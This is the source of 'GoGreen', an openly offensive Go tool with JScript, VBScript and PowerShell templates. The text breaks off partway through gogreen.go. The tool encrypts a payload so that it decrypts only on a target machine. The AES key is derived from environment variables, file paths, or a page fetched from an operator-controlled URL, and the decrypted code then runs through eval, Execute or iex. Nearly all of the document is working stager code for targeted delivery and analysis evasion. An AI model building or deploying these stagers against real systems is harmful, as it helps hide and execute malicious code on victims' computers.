├── data ├── powershell │ ├── directory.ps1 │ ├── httpkey.ps1 │ ├── envkey.ps1 │ ├── httpkey-test.ps1 │ └── base.ps1 ├── jscript │ ├── autoversion.js │ ├── envkey.js │ ├── httpkey.js │ ├── directory.js │ ├── httpkey-test.js │ └── base.js └── vbscript │ ├── autoversion.vbs │ ├── httpkey.vbs │ ├── directory.vbs │ ├── envkey.vbs │ ├── httpkey-test.vbs │ └── base.vbs ├── README.md ├── examples ├── dironly-config.json ├── httpkey-config.json └── envonly-config.json ├── config.json ├── lib ├── httpkey.go └── crypt.go ├── LICENSE └── gogreen.go /data/powershell/directory.ps1: -------------------------------------------------------------------------------- 1 | $allPaths += Get-ChildItem "~STARTDIR~" -Recurse -Depth ~DEPTH~ -Force -ErrorAction SilentlyContinue | %{$_.FullName} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GoGreen 2 | 3 | ## Deprecated 4 | See the following projects to see where this code has migrated to... 5 | 6 | * https://github.com/leoloobeek/keyring 7 | * https://github.com/leoloobeek/keyserver 8 | -------------------------------------------------------------------------------- /data/jscript/autoversion.js: -------------------------------------------------------------------------------- 1 | var shell = new ActiveXObject('WScript.Shell'); 2 | ver = 'v4.0.30319'; 3 | try { 4 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); 5 | } catch(e) { 6 | ver = 'v2.0.50727'; 7 | } 8 | shell.Environment('Process')('COMPLUS_Version') = ver; -------------------------------------------------------------------------------- /data/vbscript/autoversion.vbs: -------------------------------------------------------------------------------- 1 | Dim ver 2 | ver = "v4.0.30319" 3 | On Error Resume Next 4 | shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\" 5 | If Err.Number <> 0 Then 6 | ver = "v2.0.50727" 7 | Err.Clear 8 | End If 9 | shell.Environment("Process").Item("COMPLUS_Version") = ver -------------------------------------------------------------------------------- /data/jscript/envkey.js: -------------------------------------------------------------------------------- 1 | function getCombinations(chars) { 2 | var result = []; 3 | var f = function(prefix, chars) { 4 | for (var i = 0; i < chars.length; i++) { 5 | result.push(prefix + chars[i]); 6 | f(prefix + chars[i], chars.slice(i + 1)); 7 | } 8 | } 9 | f('', chars); 10 | return result; 11 | } 12 | 13 | var oEnv = new ActiveXObject('WScript.Shell').Environment("Process"); 14 | envCombos = getCombinations([~ENVVARS~]); -------------------------------------------------------------------------------- /examples/dironly-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Language": "powershell", 3 | "WSHAutoVersion": "", 4 | 5 | "StartDir": "C:\\Program Files (x86)", 6 | "Depth": "", 7 | "PathKey": "C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE", 8 | 9 | "EnvVars": {}, 10 | 11 | "Payload": "Write-Host hello", 12 | "PayloadPath": "", 13 | "MinusBytes": "3", 14 | 15 | "HttpKeyUrl": "", 16 | "HttpKeyUA": "", 17 | "HttpKeyRetry": "" 18 | } -------------------------------------------------------------------------------- /data/powershell/httpkey.ps1: -------------------------------------------------------------------------------- 1 | For ($i=0; $i -le ~RETRYNUM~; $i++) { 2 | [System.Net.ServicePointManager]::Expect100Continue=0; 3 | $wc = New-Object Net.WebClient 4 | $wc.Headers.Add('User-Agent','~HKUSERAGENT') 5 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy 6 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials 7 | $resp = $wc.DownloadString('~HKURL~') 8 | 9 | Get-AESDecrypted $resp '~HKPAYLOAD~' '~HKIV~' '~HKPAYLOADHASH~' 0 10 | Start-Sleep 30 11 | 12 | } -------------------------------------------------------------------------------- /data/powershell/envkey.ps1: -------------------------------------------------------------------------------- 1 | function Get-EnvCombos { 2 | param($chars) 3 | $script:result = @() 4 | 5 | function Get-Combos 6 | { 7 | param($p,$c) 8 | if ($c.Length -eq 0) { break } 9 | For ($i=0; $i -le $c.Length; $i++) { 10 | $script:result += $p + $c[$i] 11 | Get-Combos "$p$($c[$i])" ($c[($i+1)..$c.Length]) 12 | } 13 | } 14 | Get-Combos '' $chars -PassThru 15 | return $script:result 16 | } 17 | 18 | $oEnv = [Environment]::GetEnvironmentVariable 19 | $envCombos += Get-EnvCombos @(~ENVVARS~) -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Language": "jscript", 3 | "WSHAutoVersion": "Yes", 4 | 5 | "StartDir": "C:\\Program Files (x86)", 6 | "Depth": "2", 7 | "PathKey": "C:\\Program Files (x86)\\Microsoft Office\\root", 8 | 9 | "EnvVars": { 10 | "USERNAME": "username", 11 | "COMPUTERNAME": "", 12 | "USERDNSDOMAIN": "", 13 | "PROCESSOR_ARCHITECTURE": "", 14 | "LOGONSERVER": "" 15 | }, 16 | 17 | "Payload": "WScript.Echo(\"Hello\")", 18 | "PayloadPath": "", 19 | "MinusBytes": "3", 20 | 21 | "HttpKeyUrl": "", 22 | "HttpKeyUA": "", 23 | "HttpKeyRetry": "" 24 | } -------------------------------------------------------------------------------- /data/vbscript/httpkey.vbs: -------------------------------------------------------------------------------- 1 | dim hkPayloadHash, hkPayload 2 | hkPayloadHash = "~HKPAYLOADHASH~" 3 | hkPayload = "~HKPAYLOAD~" 4 | For i = 0 To ~RETRYNUM~ 5 | dim wc, resp, key 6 | set wc = CreateObject("MSXML2.XMLHTTP") 7 | wc.Open "GET", "~HKURL~", false 8 | wc.setRequestHeader "User-Agent", "~HKUSERAGENT~" 9 | wc.Send 10 | resp = wc.responseText 11 | key = Mid(getSHA512(resp), 1, 32) 12 | On Error Resume Next 13 | decrypted = decryptAES(hkPayload, key, "~HKIV~") 14 | If Err.Number = 0 Then 15 | If (compareHash(decrypted, hkPayloadHash, 0)) Then 16 | Execute decrypted 17 | WScript.Quit 1 18 | End If 19 | End If 20 | WScript.Sleep 30000 21 | Next -------------------------------------------------------------------------------- /data/jscript/httpkey.js: -------------------------------------------------------------------------------- 1 | var hkPayloadHash = "~HKPAYLOADHASH~"; 2 | var hkPayload = "~HKPAYLOAD~"; 3 | for(var i = 0; i < ~RETRYNUM~; i++) { 4 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP"); 5 | xHttp.Open("GET", "~HKURL~", false); 6 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~"); 7 | xHttp.Send(); 8 | response = xHttp.responseText; 9 | var key = getSHA512(response); 10 | key = key.substring(0,32); 11 | try { 12 | var decrypted = decryptAES(hkPayload, key, "~HKIV~") 13 | if(compareHash(decrypted, hkPayloadHash, 0)) { 14 | eval(decrypted); 15 | WScript.Quit(1); 16 | } 17 | } 18 | catch(err) {} 19 | WScript.Sleep(30000); 20 | } 21 | -------------------------------------------------------------------------------- /examples/httpkey-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Language": "jscript", 3 | "WSHAutoVersion": "Yes", 4 | 5 | "StartDir": "", 6 | "Depth": "", 7 | "PathKey": "", 8 | 9 | "EnvVars": { 10 | "USERNAME": "username", 11 | "COMPUTERNAME": "", 12 | "USERDNSDOMAIN": "domain", 13 | "PROCESSOR_ARCHITECTURE": "amd64", 14 | "LOGONSERVER": "" 15 | }, 16 | 17 | "Payload": "WScript.Echo(\"Hello\")", 18 | "PayloadPath": "", 19 | "MinusBytes": "3", 20 | 21 | "HttpKeyUrl": "https://site.com/page-you-control", 22 | "HttpKeyUA": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)", 23 | "HttpKeyRetry": "300" 24 | } -------------------------------------------------------------------------------- /data/powershell/httpkey-test.ps1: -------------------------------------------------------------------------------- 1 | function Get-SHA512Hash { 2 | param($b) 3 | $sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider 4 | return [System.BitConverter]::ToString($sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-","" 5 | } 6 | [System.Net.ServicePointManager]::Expect100Continue=0; 7 | $wc = New-Object Net.WebClient 8 | $wc.Headers.Add('User-Agent','~HKUSERAGENT') 9 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy 10 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials 11 | $resp = $wc.DownloadString('~HKURL~') 12 | 13 | $key = (Get-SHA512Hash $resp)[0..31] -join "" 14 | 15 | Write-Host "Initial HttpKey : ~HTTPKEY~" 16 | Write-Host "HttpKey Obtained : $key" 17 | -------------------------------------------------------------------------------- /lib/httpkey.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "io/ioutil" 5 | "net/http" 6 | ) 7 | 8 | // GenerateHttpKey reaches out to url, hashes the body and returns 9 | // the sha512 hash (first 32 chars) 10 | func GenerateHttpKey(url, userAgent string) (string, error) { 11 | client := &http.Client{} 12 | 13 | req, err := http.NewRequest("GET", url, nil) 14 | if err != nil { 15 | return "", err 16 | } 17 | 18 | req.Header.Set("User-Agent", userAgent) 19 | 20 | resp, err := client.Do(req) 21 | if err != nil { 22 | return "", err 23 | } 24 | 25 | defer resp.Body.Close() 26 | result, err := ioutil.ReadAll(resp.Body) 27 | if err != nil { 28 | return "", err 29 | } 30 | 31 | httpKey := GenerateSHA512(string(result)) 32 | return httpKey[:32], nil 33 | 34 | } 35 | -------------------------------------------------------------------------------- /data/jscript/directory.js: -------------------------------------------------------------------------------- 1 | function WalkOS(allPaths,fso,folder,depth) { 2 | var folEnum = new Enumerator(folder.SubFolders); 3 | for (;!folEnum.atEnd(); folEnum.moveNext()) { 4 | allPaths.push(fso.GetAbsolutePathName(folEnum.item())); 5 | if(depth > 0) { 6 | WalkOS(allPaths,fso,folEnum.item(),(depth-1)); 7 | } 8 | } 9 | var files = folder.Files; 10 | var fc = new Enumerator(folder.Files); 11 | for (;!fc.atEnd(); fc.moveNext()) { 12 | allPaths.push(fso.GetAbsolutePathName(fc.item())); 13 | } 14 | } 15 | var startDir = "~STARTDIR~"; 16 | try { 17 | var objFSO = new ActiveXObject("Scripting.FileSystemObject"); 18 | var startDirObject = objFSO.GetFolder(startDir); 19 | WalkOS(allPaths,objFSO,startDirObject,~DEPTH~); 20 | } 21 | catch(err) {} -------------------------------------------------------------------------------- /data/vbscript/directory.vbs: -------------------------------------------------------------------------------- 1 | Function WalkOS(allPaths,fso,folder,depth) 2 | dim files 3 | For Each Subfolder In folder.SubFolders 4 | allPaths.add(fso.GetAbsolutePathName(Subfolder)) 5 | If depth > 0 Then 6 | On Error Resume Next 7 | WalkOS allPaths,fso,Subfolder,(depth-1) 8 | If Err.Number <> 0 Then 9 | return 10 | End If 11 | End If 12 | Next 13 | For Each file In folder.Files 14 | allPaths.add(fso.GetAbsolutePathName(file)) 15 | Next 16 | End Function 17 | 18 | dim startDir, allPaths, objFSO, startDirObject 19 | startDir = "~STARTDIR~" 20 | Set objFSO = CreateObject("Scripting.FileSystemObject") 21 | 22 | Set startDirObject = objFSO.GetFolder(startDir) 23 | WalkOS allPaths,objFSO,startDirObject,~DEPTH~ -------------------------------------------------------------------------------- /data/vbscript/envkey.vbs: -------------------------------------------------------------------------------- 1 | set oEnv = CreateObject("WScript.Shell").Environment("Process") 2 | chars = array (~ENVVARS~) 3 | getCombinations "", chars 4 | 5 | Function Slice(arr, starting, ending) 6 | Dim out_array 7 | If Right(TypeName(arr), 2) = "()" Then 8 | out_array = Array() 9 | ReDim Preserve out_array(ending - starting) 10 | For index = starting To ending 11 | out_array(index - starting) = arr(index) 12 | Next 13 | Else 14 | Exit Function 15 | End If 16 | Slice = out_array 17 | End Function 18 | Function getCombinations(prefix, chars) 19 | For index = 0 To ubound(chars) 20 | envCombos.add prefix + chars(index) 21 | getCombinations (prefix + chars(index)), Slice(chars, index + 1, ubound(chars)) 22 | Next 23 | End Function -------------------------------------------------------------------------------- /examples/envonly-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Language": "jscript", 3 | "WSHAutoVersion": "Yes", 4 | 5 | "StartDir": "", 6 | "Depth": "", 7 | "PathKey": "", 8 | 9 | "EnvVars": { 10 | "ALLUSERSPROFILE": "", 11 | "APPDATA": "", 12 | "COMPUTERNAME": "COMPUTER", 13 | "HOMEDRIVE": "", 14 | "HOMEPATH": "", 15 | "LOGONSERVER": "", 16 | "NUMBER_OF_PROCESSORS": "", 17 | "OS": "", 18 | "PROCESSOR_ARCHITECTURE": "AMD64", 19 | "USERDOMAIN": "", 20 | "USERDOMAIN_ROAMINGPROFILE": "", 21 | "USERNAME": "leo", 22 | "USERPROFILE": "", 23 | "windir": "" 24 | }, 25 | 26 | "Payload": "", 27 | "PayloadPath": "exploit.js", 28 | "MinusBytes": "3", 29 | 30 | "HttpKeyUrl": "", 31 | "HttpKeyUA": "", 32 | "HttpKeyRetry": "" 33 | } -------------------------------------------------------------------------------- /data/jscript/httpkey-test.js: -------------------------------------------------------------------------------- 1 | var shell = new ActiveXObject('WScript.Shell'); 2 | ver = 'v4.0.30319'; 3 | try { 4 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); 5 | } catch(e) { 6 | ver = 'v2.0.50727'; 7 | } 8 | shell.Environment('Process')('COMPLUS_Version') = ver; 9 | function binToHex(binary) { 10 | var dom = new ActiveXObject("Microsoft.XMLDOM"); 11 | var el = dom.createElement("tmp"); 12 | el.dataType = "bin.hex"; 13 | el.nodeTypedValue = binary; 14 | el.removeAttribute("dt:dt"); 15 | return el.nodeTypedValue 16 | } 17 | function getSHA512(bytes) { 18 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed"); 19 | var text = new ActiveXObject("System.Text.ASCIIEncoding"); 20 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes)))); 21 | return result 22 | } 23 | 24 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP"); 25 | xHttp.Open("GET", "~HKURL~", false); 26 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~"); 27 | xHttp.Send(); 28 | response = xHttp.responseText; 29 | var key = getSHA512(response); 30 | key = key.substring(0,32); 31 | 32 | WScript.Echo("Initial HttpKey : ~HTTPKEY~"); 33 | WScript.Echo("HttpKey Obtained : " + key); 34 | -------------------------------------------------------------------------------- /data/vbscript/httpkey-test.vbs: -------------------------------------------------------------------------------- 1 | Dim ver 2 | ver = "v4.0.30319" 3 | On Error Resume Next 4 | shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\" 5 | If Err.Number <> 0 Then 6 | ver = "v2.0.50727" 7 | Err.Clear 8 | End If 9 | shell.Environment("Process").Item("COMPLUS_Version") = ver 10 | Function binToHex(binary) 11 | dim dom 12 | set dom = CreateObject("Microsoft.XMLDOM") 13 | dom.loadXML("") 14 | dom.documentElement.dataType = "bin.hex" 15 | dom.documentElement.nodeTypedValue = binary 16 | dom.documentElement.removeAttribute("dt:dt") 17 | binToHex = dom.documentElement.nodeTypedValue 18 | End Function 19 | function getSHA512(bytes) 20 | dim sha512, text 21 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed") 22 | set text = CreateObject("System.Text.ASCIIEncoding") 23 | getSHA512 = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes)))) 24 | End Function 25 | dim wc, resp, key 26 | set wc = CreateObject("MSXML2.XMLHTTP") 27 | wc.Open "GET", "~HKURL~", false 28 | wc.setRequestHeader "User-Agent", "~HKUSERAGENT~" 29 | wc.Send 30 | resp = wc.responseText 31 | key = Mid(getSHA512(resp), 1, 32) 32 | 33 | WScript.Echo "Initial HttpKey : ~HTTPKEY~" 34 | WScript.Echo "HttpKey Obtained : " & key 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Leo Loobeek 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /data/powershell/base.ps1: -------------------------------------------------------------------------------- 1 | function Get-Environmental 2 | { 3 | function Get-SHA512Hash { 4 | param($b) 5 | return [System.BitConverter]::ToString($script:sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-","" 6 | } 7 | function Compare-SHA512Hashes { 8 | param($a, $b, $m) 9 | $end = $a.Length - $m - 1 10 | if((Get-SHA512Hash $($a[0..$end] -join "")) -eq $b) { 11 | return $true 12 | } 13 | else { return $false } 14 | } 15 | function Get-AESDecrypted { 16 | param($b,$c,$i,$h,$m) 17 | $e=[System.Text.Encoding]::ASCII 18 | $bytes=[System.Convert]::FromBase64String($c) 19 | try { 20 | $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; 21 | } 22 | catch { 23 | $AES=New-Object System.Security.Cryptography.RijndaelManaged; 24 | } 25 | $AES.Mode = "CBC" 26 | $AES.Key = $e.GetBytes((Get-SHA512Hash $b)[0..31] -join "") 27 | $AES.IV = [System.Convert]::FromBase64String($i) 28 | try { 29 | $decrypted = $AES.CreateDecryptor().TransformFinalBlock($bytes, 0, $bytes.Length) 30 | } 31 | catch { return } 32 | $result = $e.GetString($decrypted) 33 | if($(Compare-SHA512Hashes $result $h $m)) { 34 | iex($result) 35 | break 36 | } 37 | 38 | } 39 | function Test-Inputs { 40 | param($a,$b) 41 | $a | ForEach-Object { 42 | $key = "$_$b" 43 | Get-AESDecrypted $key.ToLower() "~ENCRYPTEDBASE64~" "~AESIVBASE64~" "~PAYLOADHASH~" ~MINUSBYTES~ 44 | } 45 | } 46 | $script:sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider 47 | $allPaths = @("") 48 | $envCombos = @("") 49 | 50 | 51 | ~WALKOS~ 52 | ~ENVVAR~ 53 | 54 | $allPaths | ForEach-Object { 55 | Test-Inputs $envCombos $_ 56 | } 57 | } -------------------------------------------------------------------------------- /lib/crypt.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "crypto/sha512" 9 | "encoding/base64" 10 | "encoding/hex" 11 | "errors" 12 | "io" 13 | ) 14 | 15 | // GenerateSHA512 takes a string, generates a SHA512 hash 16 | // and sends back as hex string 17 | func GenerateSHA512(s string) string { 18 | sha := sha512.New() 19 | sha.Write([]byte(s)) 20 | 21 | return hex.EncodeToString(sha.Sum(nil)) 22 | } 23 | 24 | // AESEncrypt https://golang.org/src/crypto/cipher/example_test.go 25 | // Returns base64 encoded ciphertext and base64 encoded IV 26 | // Not returning both (iv:ciphertext) as includes too much js/vbs to detach 27 | func AESEncrypt(key, text []byte) (string, string, error) { 28 | plaintext, err := pkcs7Pad(text) 29 | if err != nil { 30 | return "", "", err 31 | } 32 | 33 | if len(plaintext)%aes.BlockSize != 0 { 34 | return "", "", errors.New("[!] AESEncrypt: plaintext is not a multiple of the block size") 35 | } 36 | 37 | block, err := aes.NewCipher(key) 38 | if err != nil { 39 | return "", "", err 40 | } 41 | 42 | ciphertext := make([]byte, aes.BlockSize+len(plaintext)) 43 | iv := ciphertext[:aes.BlockSize] 44 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 45 | panic(err) 46 | } 47 | 48 | mode := cipher.NewCBCEncrypter(block, iv) 49 | mode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext) 50 | 51 | return Base64Encode(ciphertext[aes.BlockSize:]), Base64Encode(iv), nil 52 | } 53 | 54 | // https://github.com/go-web/tokenizer/blob/master/pkcs7.go 55 | func pkcs7Pad(b []byte) ([]byte, error) { 56 | if aes.BlockSize <= 0 { 57 | return nil, errors.New("[!] pkcs7Pad: invalid blocksize") 58 | } 59 | if b == nil || len(b) == 0 { 60 | return nil, errors.New("[!] pkcs7Pad: invalid PKCS7 data (empty or not padded)") 61 | } 62 | n := aes.BlockSize - (len(b) % aes.BlockSize) 63 | pb := make([]byte, len(b)+n) 64 | copy(pb, b) 65 | copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n)) 66 | return pb, nil 67 | } 68 | 69 | // Base64Encode basic wrapper around base64 encoding 70 | func Base64Encode(data []byte) string { 71 | sEnc := base64.StdEncoding.EncodeToString(data) 72 | return sEnc 73 | } 74 | -------------------------------------------------------------------------------- /data/jscript/base.js: -------------------------------------------------------------------------------- 1 | ~AUTOVERSION~ 2 | function decryptAES(decryptMe, key, iv) { 3 | var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged"); 4 | var a = new ActiveXObject("System.Text.ASCIIEncoding"); 5 | aes.Mode = 1; //CBC 6 | aes.Padding = 2; //PKCS7 7 | aes.BlockSize = 128; 8 | aes.KeySize = 256; 9 | aes.IV = decodeBase64(iv); 10 | aes.Key = a.GetBytes_4(key); 11 | 12 | var encBytes = decodeBase64(decryptMe); 13 | var encLen = (a.GetByteCount_2(decryptMe) / 4) * 3; 14 | encLen = encLen - (decryptMe.split("=").length - 1) 15 | 16 | var decrypted = aes.CreateDecryptor().TransformFinalBlock(encBytes,0,encLen); 17 | return a.GetString(decrypted); 18 | } 19 | function decodeBase64(base64) { 20 | var dm = new ActiveXObject("Microsoft.XMLDOM"); 21 | var el = dm.createElement("tmp"); 22 | el.dataType = "bin.base64"; 23 | el.text = base64 24 | return el.nodeTypedValue 25 | } 26 | function binToHex(binary) { 27 | var dom = new ActiveXObject("Microsoft.XMLDOM"); 28 | var el = dom.createElement("tmp"); 29 | el.dataType = "bin.hex"; 30 | el.nodeTypedValue = binary; 31 | el.removeAttribute("dt:dt"); 32 | return el.nodeTypedValue 33 | } 34 | function getSHA512(bytes) { 35 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed"); 36 | var text = new ActiveXObject("System.Text.ASCIIEncoding"); 37 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes)))); 38 | return result 39 | } 40 | function compareHash(decrypted, hash, minusBytes) { 41 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed"); 42 | var text = new ActiveXObject("System.Text.ASCIIEncoding"); 43 | var newHash = getSHA512(decrypted.substring(0, (decrypted.length - minusBytes))); 44 | if(newHash == hash) { 45 | return true; 46 | } 47 | else { 48 | return false; 49 | } 50 | } 51 | function tryKeyCombos(combos, path, encrypted, payloadHash) { 52 | for(k = 0; k < combos.length; k++) { 53 | var key = combos[k].toLowerCase() + path.toLowerCase(); 54 | 55 | key = getSHA512(key); 56 | key = key.substring(0,32); 57 | try { 58 | var decrypted = decryptAES(encrypted, key, "~AESIVBASE64~") 59 | if(compareHash(decrypted, payloadHash, ~MINUSBYTES~)) { 60 | eval(decrypted); 61 | WScript.Quit(1); 62 | } 63 | } 64 | catch(err) {} 65 | } 66 | return "" 67 | } 68 | 69 | var allPaths = [], envCombos = []; 70 | allPaths.push(""); 71 | envCombos.push(""); 72 | 73 | ~WALKOS~ 74 | ~ENVVAR~ 75 | 76 | for(i = 0; i < allPaths.length; i++) { 77 | tryKeyCombos(envCombos, allPaths[i], "~ENCRYPTEDBASE64~", "~PAYLOADHASH~") 78 | } -------------------------------------------------------------------------------- /data/vbscript/base.vbs: -------------------------------------------------------------------------------- 1 | ~AUTOVERSION~ 2 | Function decryptAES(decryptMe, key, iv) 3 | dim aes, a, encBytes, encLen, decrypted, numPads 4 | set aes = CreateObject("System.Security.Cryptography.RijndaelManaged") 5 | set a = CreateObject("System.Text.ASCIIEncoding") 6 | aes.Mode = 1 7 | aes.Padding = 2 8 | aes.BlockSize = 128 9 | aes.KeySize = 256 10 | aes.IV = decodeBase64(iv) 11 | aes.Key = a.GetBytes_4(key) 12 | 13 | numPads = len(decryptMe) - len(replace(decryptMe, "=", "")) 14 | encLen = ((a.GetByteCount_2(decryptMe) / 4) * 3) - numPads 15 | 16 | decryptAES = a.GetString(aes.CreateDecryptor().TransformFinalBlock(decodeBase64(decryptMe),0,encLen)) 17 | End Function 18 | Function decodeBase64(base64) 19 | dim dm, el 20 | set dm = CreateObject("Microsoft.XMLDOM") 21 | set el = dm.createElement("tmp") 22 | el.dataType = "bin.base64" 23 | el.text = base64 24 | decodeBase64 = el.nodeTypedValue 25 | End Function 26 | Function binToHex(binary) 27 | dim dom 28 | set dom = CreateObject("Microsoft.XMLDOM") 29 | dom.loadXML("") 30 | dom.documentElement.dataType = "bin.hex" 31 | dom.documentElement.nodeTypedValue = binary 32 | dom.documentElement.removeAttribute("dt:dt") 33 | binToHex = dom.documentElement.nodeTypedValue 34 | End Function 35 | function getSHA512(bytes) 36 | dim sha512, text 37 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed") 38 | set text = CreateObject("System.Text.ASCIIEncoding") 39 | getSHA512 = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes)))) 40 | End Function 41 | function compareHash(decrypted, hash, minusBytes) 42 | dim sha512, text, newHash 43 | set sha512 = CreateObject("System.Security.Cryptography.SHA512Managed") 44 | set text = CreateObject("System.Text.ASCIIEncoding") 45 | newHash = getSHA512(Mid(decrypted, 1, (len(decrypted) - minusBytes))) 46 | If newHash = hash Then 47 | compareHash = True 48 | Else 49 | compareHash = False 50 | End If 51 | End Function 52 | Function tryKeyCombos(combos, path, encrypted, payloadHash) 53 | For k = 0 To combos.Count 54 | dim key, decrypted 55 | key = LCase(combos.Item(k) + path) 56 | sub_key = Mid(getSHA512(key), 1, 32) 57 | On Error Resume Next 58 | decrypted = decryptAES(encrypted, sub_key, "~AESIVBASE64~") 59 | If Err.Number = 0 Then 60 | If (compareHash(decrypted, payloadHash, ~MINUSBYTES~)) Then 61 | Execute decrypted 62 | WScript.Quit 1 63 | End If 64 | End If 65 | Next 66 | End Function 67 | 68 | Set allPaths = CreateObject("System.Collections.ArrayList") 69 | Set envCombos = CreateObject("System.Collections.ArrayList") 70 | allPaths.add "" 71 | envCombos.add "" 72 | 73 | ~WALKOS~ 74 | ~ENVVAR~ 75 | For index = 0 To allPaths.Count 76 | tryKeyCombos envCombos, allPaths.Item(index), "~ENCRYPTEDBASE64~", "~PAYLOADHASH~" 77 | Next -------------------------------------------------------------------------------- /gogreen.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "errors" 7 | "flag" 8 | "fmt" 9 | "io/ioutil" 10 | "os" 11 | "strconv" 12 | "strings" 13 | 14 | "github.com/leoloobeek/GoGreen/lib" 15 | ) 16 | 17 | func main() { 18 | conf := flag.String("config", "", "Config file to read. Default ./config.json.") 19 | flagHttpKey := flag.String("httpkey", "", "Manual HttpKey to use. GoGreen will retrieve it's own by default.") 20 | flag.Parse() 21 | config := parseConfig(*conf) 22 | if config == nil { 23 | return 24 | } 25 | payloadWriter := setupPayloadWriter(config.Language) 26 | 27 | if payloadWriter == nil { 28 | fmt.Println("[!] Specified language in config.json not supported") 29 | return 30 | } 31 | 32 | // get payload from config or file 33 | payload := config.Payload 34 | if payload == "" { 35 | pFile, err := readFile(config.PayloadPath) 36 | if err != nil { 37 | fmt.Printf("[!] Error reading payload from %s\n", config.PayloadPath) 38 | return 39 | } 40 | payload = string(pFile) 41 | if payload == "" { 42 | fmt.Printf("[!] Payload file %s was empty", config.PayloadPath) 43 | return 44 | } 45 | } 46 | 47 | // Apply httpkey here (if needed) 48 | httpKey := "" 49 | if config.HttpKeyUrl != "" { 50 | var err error 51 | payload, httpKey, err = httpKeyCode(*flagHttpKey, payload, config, payloadWriter) 52 | if err != nil { 53 | return 54 | } 55 | } 56 | 57 | // generate payload hash 58 | mb, err := strconv.Atoi(config.MinusBytes) 59 | if (err != nil) || (mb > len(payload) || mb < 0) { 60 | fmt.Println("[!] MinusBytes invalid. Is it less than 0 or greater than payload size? Setting to 1...") 61 | config.MinusBytes = "1" 62 | mb = 1 63 | } 64 | payloadHash := lib.GenerateSHA512(payload[:(len(payload) - mb)]) 65 | 66 | // generate key 67 | if config.StartDir == "" { 68 | config.PathKey = "" 69 | } 70 | key, envVarOrder := buildKey(config.EnvVars, config.PathKey) 71 | 72 | // read in base code 73 | result, err := baseCode(config.WSHAutoVersion, payloadWriter) 74 | if err != nil { 75 | return 76 | } 77 | 78 | // if a StartDir was specified in config.json, add in directory walking 79 | result, err = directoryCode(result, config.StartDir, config.Depth, payloadWriter) 80 | if 